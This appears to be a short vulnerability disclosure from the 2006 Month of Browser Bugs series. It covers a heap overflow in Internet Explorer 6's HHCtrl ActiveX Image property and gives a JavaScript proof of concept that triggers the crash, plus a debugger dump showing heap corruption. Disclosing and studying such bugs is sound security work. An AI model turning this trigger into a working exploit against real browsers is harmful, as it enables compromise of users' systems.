MoBB #2: Internet.HHCtrl Image Property

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug is interesting because a small heap overflow occurs each time this property is set. The bug is difficult to detect unless heap verification has been enabled in the global debug flags for iexplore.exe. The demonstration below results in a possibly exploitable heap corruption after 128 or more iterations of the property set.

var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;

for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}

Demonstration

eax=00030288 ebx=00030000 ecx=7ffdd000
edx=00030608 esi=58585850 edi=00000022
eip=7c911f52 esp=0013afcc ebp=0013b1ec
ntdll!RtlAllocateHeap+0x31b:
7c911f52 8a4605 mov al,[esi+0x5] ds:0023:58585855=??

This bug was reported to Microsoft on March 6th, 2006.
This bug has been added to the OSVDB:
Microsoft IE HTML Help COM Object Image Property Heap Overflow.